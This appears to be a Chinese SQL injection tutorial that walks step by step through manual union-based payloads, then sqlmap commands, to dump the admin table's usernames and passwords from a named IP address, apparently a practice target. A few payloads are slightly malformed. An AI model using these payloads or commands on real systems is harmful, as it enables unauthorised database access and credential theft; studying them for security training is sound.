1.目標URL:http://59.63.200.79:8003/?id=1
第一步判斷是否存在SQL注入漏洞。
構造 ?id=1 and 1=1 ,回車
這里 %20 代表空格的意思。
頁面正常,繼續構造 ?id=1 and 1=2
頁面不正常,則可以推斷該頁面存在SQL注入漏洞。
第二步判斷字段數
構造?id=1 and 1=1 order by 1 ,回車
頁面正常 ,
繼續構造 ?id=1 and 1=1 order by 2 ,回車
頁面正常,
繼續構造 ?id=1 and 1=1 order by 3 ,回車
返回的頁面不正常,判斷出字段數應該是2。
第三步 判斷回顯位置
構造 ?id=1 and 1=2 union select 1,2
返回的頁面中出現了2,那么我們可以在2處得到我們想得到的內容。
第四步 查詢相關內容
查詢當前數據庫名
構造URL: ?id=1 and 1=2 union select database() ,回車
查詢當前數據庫版本
構造URL:?id=1 and 1=2 union select 1,version() ,回車
查詢當前數據庫 表名
構造URL: ?id=1 and 1=2 union select 1,table_name from information_schema.tables
where table_schema = database() limit 0,1 ,回車
絕大多數情況下,管理員的賬戶密碼都在admin表里面。
查詢字段名
構造?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 0,1
構造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 1,1
構造:?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 2,1
可以看出admin表里面一共有 id,username,password三個字段。
查詢字段內容
構造 ?id=1 and 1=2 union select 1,username from admin limit 0,1
構造 ?id=1 and 1=2 union select 1,password from admin limit 0,1
至此,得到管理員的賬戶和密碼。
不過通過手工的方式進行注入確實可以加深我們對原理的了解,不是單純的“腳本小子”,不過在實際應用中我們可以借助工具進行快速的注入。
工具SQLMAP
1.SQLMAP
2.Python2.7
SQLMAP下載地址:http://sqlmap.org/
我這里用linux環境演示,解壓后,進入文件夾內,執行 python sqlmap.py 即可。
根據目標URL:http://59.63.200.79:8003/?id=1
執行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 –batch
根據返回的結果,我們可以發現存在注入點。
獲取全部數據庫
執行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --dbs –batch
獲取當前的數據庫:
執行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --current-db --batch
獲取當前數據庫里所有的表:
執行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe --tables
–batch
獲取表的字段:
執行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
--columns –batch
Dump字段內容
執行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
-C"password,username" --dump --batch
至此,得到管理員賬戶和密碼。